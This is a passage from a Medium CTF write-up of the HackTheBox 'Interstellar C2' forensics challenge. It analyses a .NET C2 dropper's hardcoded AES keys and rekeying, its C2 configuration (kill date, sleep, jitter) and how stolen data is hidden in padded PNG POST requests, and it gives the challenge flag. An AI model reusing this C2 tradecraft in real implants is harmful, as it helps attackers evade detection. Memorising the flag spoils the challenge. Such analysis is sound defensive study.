href="https://medium.com/media/6916f4ee2b1590cb87032dae2e509249/href">https://medium.com/media/6916f4ee2b1590cb87032dae2e509249/href</a></iframe><pre>$ xxd ../phase1.dec | head            <br>00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............<br>00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......<br>00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................<br>00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................<br>00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th<br>00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno<br>00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS <br>00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......<br>00000080: 5045 0000 4c01 0300 0000 0000 0000 0000  PE..L...........<br>00000090: 0000 0000 e000 0201 0b01 0800 0042 0000  .............B..<br><br>$ file ../phase1.dec  <br>../phase1.dec: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows</pre><p>Ok, cool it’s a .NET executable! If you know me, you know what time it is…</p><p>IT’S DNSPY TIME!!!! ::RANDOM LOUD ALARM NOISES:: ::15 SECOND TECHNO INSTRUMENTAL BREAK::</p><p>…Now that that’s over with, I fired up dnSpy to survey and study the malware. Tons of places to start:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*lrdrxTv067BHKFgJjezzxg.png" /><figcaption>Behold! More Functions!!!</figcaption></figure><p>After skimming the most likely starting spots, I focused initially on <em>primer</em>. Either this function was going to make painting my Jeep a heck of a lot easier, or it’s probably the initial start-up for this dropper. A few things caught my eye:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0a9cc636ee8a3d3416a9e9b0587d9ceb/href">https://medium.com/media/0a9cc636ee8a3d3416a9e9b0587d9ceb/href</a></iframe><p>An initial hardcoded key can be found on L40, followed by a web check-in on lines L42–48, and finally the logic for the rekey can be found on L74. So essentially, the first check-in is encrypted with the hardcoded key, and then subsequent traffic should be encrypted with the value of <em>NEWKEY8839394</em> received from the server. Oh and the IV isn’t mentioned, so I assumed (and verified upon glancing at the Encryption/Decryption routines) that it is very likely the first 16 bytes of the payload. Also of note, the payloads received via GET request were base64 encoded.</p><p>With this knowledge, it was time to move to the next stage. Using the data from the path <em>/Kettie/Emmie/Anni?Theda=Merrilee?c</em>, I decrypted the payload and was met with the updated settings for the C2, including the new key:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f69c6f214840fbbce4be62828942bd0a/href">https://medium.com/media/f69c6f214840fbbce4be62828942bd0a/href</a></iframe><pre>RANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR<br>URLS10484390243&quot;Kettie/Emmie/Anni?Theda=Merrilee&quot;, &quot;Rey/O... ...ndrika/Ilysa/Caroljean?Aline=Tine&quot;34209348401SLRU<br>KILLDATE16652025-01-015661ETADLLIK<br>SLEEP980013s10089PEELS<br>JITTER20250.25202RETTIJ<br>NEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN<br>IMGS19459394&quot;iVBORw0KGgoAAAANSUhEUgAAAB4AAAAe... ...m3hFDfYAAAAASUVORK5CYII=&quot;49395491SGMI</pre><p>The key for phase 3, as discovered in the <em>primer </em>function earlier, was found at <em>NEWKEY8839394:</em></p><pre>nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=</pre><p>A bunch of base64 strings were also found at the very bottom. These were a little bit of a time sink as I foolishly tried to investigate each one, only to realize that they are just simple PNG files the C2 uses to POST data back to the server. More on that in a minute.</p><p>I now need to go back and discover the actual C2 post/receive engine. I stumbled onto the function <em>ImplantCore</em>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7d1e914894a2e3a4086c7e73addc5243/href">https://medium.com/media/7d1e914894a2e3a4086c7e73addc5243/href</a></iframe><p>Interesting things to examine: L40–41 demonstrates the web request, then decryption of the payload from the server, L68 shows an example use of the <em>EXEC</em> function, and the main commands for the C2 can be seen.</p><p>Delving into <em>EXEC</em>, I found this function drives the POST responses back to the webserver:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/effefe331784e7d8eb62002d3b3f7706/href">https://medium.com/media/effefe331784e7d8eb62002d3b3f7706/href</a></iframe><p>Essentially, <em>EXEC</em> will call Encryption with the compress flag set to true and the ImgGen class to grab a PNG containing the payload.</p><p>The Encryption function is pretty straight forward AES encryption with base64 encoding with a couple wrinkles. There is a boolean for gzip compression as well as an override for the output data (un) if specified (unByte):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6f4a9ea8e654b1202137b2ac102de68e/href">https://medium.com/media/6f4a9ea8e654b1202137b2ac102de68e/href</a></iframe><p>In the class <em>ImgGen</em>, the function<em> Init</em> grabs the base64 values of the images found in phase2_dec, <em>RandomString</em> appends garbage data as needed, and the heavy lifter is <em>GetImgData</em>:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5da45b17d33e28e08fbcc8b668a10c20/href">https://medium.com/media/5da45b17d33e28e08fbcc8b668a10c20/href</a></iframe><p><em>GetImgData</em> takes a pre-canned PNG (from phase2 dec) and adds garbage to it until the file is up to 1500 bytes. Then it appends the encrypted, compressed, but not base64&#39;d value of the data the C2 wishes to POST back to the server.</p><p>Armed with this knowledge, I was (FINALLY) able to decrypt the POST requests with the updated key found in phase2. Cobbling the below python script together provided two executable binaries, a screenshot, a mimikatz dump, some unknown files, and a partridge in a pear tree (yeah, you’re right, it’s too early for the Christmas jokes):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7fb54df58c4056c04f784688159341bb/href">https://medium.com/media/7fb54df58c4056c04f784688159341bb/href</a></iframe><pre>$ ls -al ../dec_*<br>-rwxrwx--- 1 root vboxsf 2827854 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(14).bin&#39;<br>-rwxrwx--- 1 root vboxsf    5132 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(17).dec&#39;<br>-rwxrwx--- 1 root vboxsf      32 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(20).dec&#39;<br>-rwxrwx--- 1 root vboxsf      27 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(22).dec&#39;<br>-rwxrwx--- 1 root vboxsf  847050 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(23).png&#39;<br>-rwxrwx--- 1 root vboxsf      32 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(4).dec&#39;<br>-rwxrwx--- 1 root vboxsf      27 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(5).dec&#39;<br>-rwxrwx--- 1 root vboxsf       6 Mar 23 13:03 &#39;../dec_%3fdVfhJmc2ciKvPOC(6).dec&#39;<br>-rwxrwx--- 1 root vboxsf  201746 Mar 23 13:03  ../dec_%3fdVfhJmc2ciKvPOC.bin</pre><p>The screenshot contains the key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-IyKrYPtgP3reQ3Uv3xlQ.png" /><figcaption>Yeah, I know… that’s waaaaaaay too small to read in the deafult view. But trust me, it’s there in the top right :-)</figcaption></figure><p><strong>FLAG: HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}</strong></p><h3>Conclusion</h3><p>Again, this was a great challenge I really enjoyed that showcases the use of scripting for forensics uses. Finding SharpSploit, mimimatz output, Core.exe and the obfuscation techniques definitely added to the immersion of the challenge. I also will add that solving this aided my approach and process on the Relic Maps challenge, as the Powershell found inside the HTA was also obfuscated and made use of AES with a hardcoded key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*o8f9Dy8M9iyRoEJ1.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=588e2419400c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/htb-ca2023-forensics-interstellar-c2-588e2419400c">HTB: CA2023 — Forensics Interstellar C2</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>